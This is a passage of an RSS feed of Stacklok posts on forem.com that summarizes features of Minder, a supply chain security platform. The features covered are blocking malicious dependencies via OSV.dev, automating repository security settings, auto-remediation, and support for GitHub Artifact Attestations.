&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpce7p76wimm08p36lzxk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpce7p76wimm08p36lzxk.png" alt=" " width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>siggstore</category>
      <category>openssf</category>
      <category>opensource</category>
      <category>security</category>
    </item>
    <item>
      <title>Blocking unsafe open source dependencies in pull requests with Minder and OSV.dev</title>
      <dc:creator>Ariel</dc:creator>
      <pubDate>Wed, 29 May 2024 23:07:46 +0000</pubDate>
      <link>https://forem.com/stacklok/blocking-unsafe-open-source-dependencies-in-pull-requests-with-minder-and-osvdev-28f2</link>
      <guid>https://forem.com/stacklok/blocking-unsafe-open-source-dependencies-in-pull-requests-with-minder-and-osvdev-28f2</guid>
      <description>&lt;p&gt;Using data from the open source &lt;a href="https://osv.dev/" rel="noopener noreferrer"&gt;OSV.dev&lt;/a&gt; project and other sources, Minder can now block pull requests that contain malicious and deprecated packages, so that they can’t inadvertently be merged into your code.&lt;/p&gt;

&lt;p&gt;Most teams today use vulnerability scanners to find CVEs in their open source dependencies. While avoiding dependencies with known vulnerabilities is important, these scanners may neglect to flag malicious or deprecated packages that don’t have any CVEs, even though these packages may pose an even greater threat to your supply chain. &lt;/p&gt;

&lt;p&gt;Read the full article by Yolanda Robla &amp;amp; Adolfo "Puerco" García Veytia &lt;a href="https://stacklok.com/blog/blocking-unsafe-oss-dependencies-minder-osv" rel="noopener noreferrer"&gt;here&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjh2w7u6hoh0bthikvafx.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjh2w7u6hoh0bthikvafx.jpeg" alt=" " width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>opensource</category>
      <category>security</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Tutorial: Using Minder to automate management of source code repository configuration and security</title>
      <dc:creator>Ariel</dc:creator>
      <pubDate>Thu, 23 May 2024 22:36:21 +0000</pubDate>
      <link>https://forem.com/stacklok/tutorial-using-minder-to-automate-management-of-source-code-repository-configuration-and-security-n7e</link>
      <guid>https://forem.com/stacklok/tutorial-using-minder-to-automate-management-of-source-code-repository-configuration-and-security-n7e</guid>
      <description>&lt;p&gt;Open Source maintainers, if you're tired of trying to make sure every project repo has a &lt;a href="https://security.md/" rel="noopener noreferrer"&gt;security.md&lt;/a&gt; file, protections enabled, Dependabot configured, etc--Minder can help you automate this, and it's free for public repos. &lt;a href="https://stacklok.com/blog/tutorial-using-minder-to-automate-management-of-source-code-repository-configuration-and-security" rel="noopener noreferrer"&gt;Here's how&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjp9uwgu5ahbt04oh5vgb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjp9uwgu5ahbt04oh5vgb.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>opensource</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Demo: Minder, a software supply chain security platform from Stacklok</title>
      <dc:creator>Ariel</dc:creator>
      <pubDate>Fri, 10 May 2024 17:53:31 +0000</pubDate>
      <link>https://forem.com/stacklok/demo-minder-a-software-supply-chain-security-platform-from-stacklok-3010</link>
      <guid>https://forem.com/stacklok/demo-minder-a-software-supply-chain-security-platform-from-stacklok-3010</guid>
      <description>&lt;p&gt;Automated remediation is a core feature of the Minder platform. We want to help developers catch security issues before they merge their code &lt;em&gt;AND&lt;/em&gt; we want to make it easier for them to resolve those issues (e.g., not just listing manual remediation steps). &lt;/p&gt;

&lt;p&gt;This demo from Stacklok engineer Evan Anderson shows how Minder helps you auto-remediate issues from repo configuration drift to automatically pinning all of your GitHub Actions to commit SHAs. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.youtube.com/watch?v=UXG9YpeDMts" rel="noopener noreferrer"&gt;See the demo here&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fssg4hcbup29f72l4c40c.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fssg4hcbup29f72l4c40c.png" alt=" " width="300" height="67"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>opensource</category>
      <category>security</category>
      <category>demo</category>
      <category>github</category>
    </item>
    <item>
      <title>Unlocking secure software distribution with Minder and GitHub Artifact Attestations</title>
      <dc:creator>Ariel</dc:creator>
      <pubDate>Fri, 03 May 2024 17:38:01 +0000</pubDate>
      <link>https://forem.com/stacklok/unlocking-secure-software-distribution-with-minder-and-github-artifact-attestations-8l5</link>
      <guid>https://forem.com/stacklok/unlocking-secure-software-distribution-with-minder-and-github-artifact-attestations-8l5</guid>
      <description>&lt;p&gt;Yesterday, GitHub announced an important new security feature called &lt;a href="https://github.blog/2024-05-02-introducing-artifact-attestations-now-in-public-beta/" rel="noopener noreferrer"&gt;GitHub Artifact Attestations&lt;/a&gt;. It's powered by sigstore (a technology created by our CTO, Luke Hinds) and it helps developers generate and verify signed attestations for anything made with GitHub Actions. &lt;/p&gt;

&lt;p&gt;We participated in the private beta for this and have already integrated support into Minder. Specifically, you can now use Minder to apply enhanced security policies using the contents of these signed attestations—for example, validating SBOM data like licenses, or verifying the results of an attested security scan. &lt;/p&gt;

&lt;p&gt;Here are some more details on this feature, and tutorials on how to verify signed attestations and apply policies using attestation data in Minder: &lt;a href="https://stacklok.com/blog/unlocking-secure-software-distribution-with-minder-and-github-artifact-attestations" rel="noopener noreferrer"&gt;More info here&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F17vsrxl5966x00d9690p.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F17vsrxl5966x00d9690p.png" alt=" " width="300" height="67"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4c6kzbu8dg8ff0izirl7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4c6kzbu8dg8ff0izirl7.png" alt=" " width="195" height="38"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>sigstore</category>
      <category>opensource</category>
    </item>
  </channel>
</rss>
